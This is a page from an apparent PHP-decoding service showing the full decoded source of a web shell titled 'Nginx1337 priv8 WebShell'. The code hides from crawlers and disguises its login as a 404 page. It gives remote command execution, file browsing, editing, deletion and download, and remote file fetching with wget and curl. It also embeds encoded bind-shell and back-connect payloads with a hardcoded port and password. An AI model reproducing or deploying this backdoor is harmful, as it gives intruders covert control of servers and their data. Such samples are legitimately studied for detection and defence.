Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/* ########################################### ##[ ./Nginx1337 priv8 WebShell ] ..

Decoded Output download

@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);

$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { 
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 
    } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
    ?> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> 
    <?php 
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
		
@ini_set('log_errors',0);
@ini_set('output_buffering',0);	
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
	$file = $_GET['dl'];
	$filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
	$file = $_GET['dlgzip'];
	$filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET['img'])){
		@ob_clean(); 
		$d = magicboom($_GET['y']);
		$f = $_GET['img'];
		$inf = @getimagesize($d.$f); 
   		$ext = explode($f,"."); 
   		$ext = $ext[count($ext)-1]; 
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public"); 
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  		@header("Cache-control: max-age=".(60*60*24*7));  
   	 	@readfile($d.$f); 
   	 	exit; 
}

// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET['y'])){
	if(@is_dir($_GET['view'])){
		$pwd = $_GET['view'];
		@chdir($pwd);
	}
	else{
		$pwd = $_GET['y'];
		@chdir($pwd);
	}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
//server owner
if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	} 
// username, id, shell prompt and working directory
if(!$win){
	if(!$user = rapih(exe("whoami"))) $user = "";
	if(!$id = rapih(exe("id"))) $id = "";
	$prompt = $user." \$ ";
	$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
	$prompt = $user." &gt;";
	$pwd = realpath(".")."\";
	// find drive letters
 	$v = explode("\",$d); 
	$v = $v[0]; 
 	foreach (range("A","Z") as $letter) 
 	{ 
	  $bool = @is_dir($letter.":\");
	  if ($bool) 
	  { 
 		  $letters .= "<a href=\"?y=".$letter.":\">[ ";
		   if ($letter.":" != $v) {$letters .= $letter;} 
		   else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
		   $letters .= " ]</a> "; 
  	  }	 
 } 
}

function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
    }

function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
    }

 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
    }
	
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "inori";

// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
	$pathz = "";
	for($j = 0 ; $j <= $i ; $j++){
		$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
	}
	$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
	
// rename file or folder
if(isset($_POST['rename'])){
	$old = $_POST['oldname'];
	$new = $_POST['newname'];
	@rename($pwd.$old,$pwd.$new);
	$file = $pwd.$new;
}
if(isset($_POST['chmod'])){ 
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}
	
if(isset($_POST['chmod_folder'])){
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}


// print useful info
$buff  = "Software : <b>".$software."</b><br />";
$buff .= "Uname : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>uid=$uid ($user) gid=$gid ($group)</b><br>";
$buff .= "PHP : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your   ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";




function rapih($text){
	return trim(str_replace("<br />","",$text));
}

function magicboom($text){
	if (!get_magic_quotes_gpc()) {
   		 return $text;
	} 
	return stripslashes($text);
}

function showdir($pwd,$prompt){
	$fname = array();
	$dname = array();
	if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
	else $posix = FALSE;
	$user = "????:????";
	if($dh = @scandir($pwd)){
		foreach($dh as $file){
			if(is_dir($file)){
				$dname[] = $file;
			}
			elseif(is_file($file)){
				$fname[] = $file;
			}
		}
	}
	else{
		if($dh = @opendir($pwd)){
			while($file = @readdir($dh)){
				if(@is_dir($file)){
					$dname[] = $file;
				}
				elseif(@is_file($file)){
					$fname[] = $file;
				}
			}
			@closedir($dh);
		}
	}

	
	sort($fname);
	sort($dname);
	$path = @explode(DIRECTORY_SEPARATOR,$pwd);
	$tree = @sizeof($path);
	$parent = "";
	$buff = "
	<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
	<table class=\"cmdbox\" style=\"width:50%;\">
	<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form>
	<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
	<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
	<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form></table><table class=\"explore\">
	<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
	";
	if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
	else $parent = $pwd;  

	foreach($dname as $folder){
		if($folder == ".") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
			<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form></td>
			
			</tr>
			";
		}
		elseif($folder == "..") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>   $folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td>
			<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
			<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			</td></tr>";
		}
		else {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />     [ $folder ]</b></a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
			</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
			<td><center>
			<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
			<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
		}
	}

	foreach($fname as $file){
		$full = $pwd.$file;
		if(!$win && $posix){
			$name=@posix_getpwuid(@fileowner($folder));
			$group=@posix_getgrgid(@filegroup($folder));
			$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
		}
		else {
			$owner = $user;
		}		
		$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   $file</b></a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
		</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
		<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
		<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
		<td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
	}
	$buff .= "</table>";
	return $buff;
}

function ukuran($file){
	if($size = @filesize($file)){
		if($size <= 1024) return $size;
		else{
			if($size <= 1024*1024) {
				$size = @round($size / 1024,2);;
				return "$size kb";
			}
			else {
				$size = @round($size / 1024 / 1024,2);
				return "$size mb";	
			}
		}
	}
	else return "???";
}

function exe($cmd){
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('shell_exec')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}

function tulis($file,$text){
	$textz = gzinflate(base64_decode($text));
	 if($filez = @fopen($file,"w"))
	 {
		 @fputs($filez,$textz);
		 @fclose($file);
	 }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
	   while(!feof($fp)) { 
   		    $cont.= @fread($fp,1024); 
   		} 
   		@fclose($fp); 
	   $fp2 = @fopen($file,"w"); 
	   @fwrite($fp2,$cont); 
	   @fclose($fp2); 
   }
}

function which($pr){
	$path = exe("which $pr");
	if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
	$namafile = basename($url);
	switch($cmd) {
		case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
		case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
		case 'wfread' : ambil($wurl,$namafile);break;
		case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
		case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
		case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
		case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
		default: break;
	}
	return $namafile;
}

function get_perms($file)
{
	if($mode=@fileperms($file)){
		$perms='';
		$perms .= ($mode & 00400) ? 'r' : '-';
		$perms .= ($mode & 00200) ? 'w' : '-';
		$perms .= ($mode & 00100) ? 'x' : '-';
		$perms .= ($mode & 00040) ? 'r' : '-';
		$perms .= ($mode & 00020) ? 'w' : '-';
		$perms .= ($mode & 00010) ? 'x' : '-';
		$perms .= ($mode & 00004) ? 'r' : '-';
		$perms .= ($mode & 00002) ? 'w' : '-';
		$perms .= ($mode & 00001) ? 'x' : '-';
		return $perms;
	}
	else return "??????????";
}

function clearspace($text){
	return str_replace(" ","_",$text);
}

// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
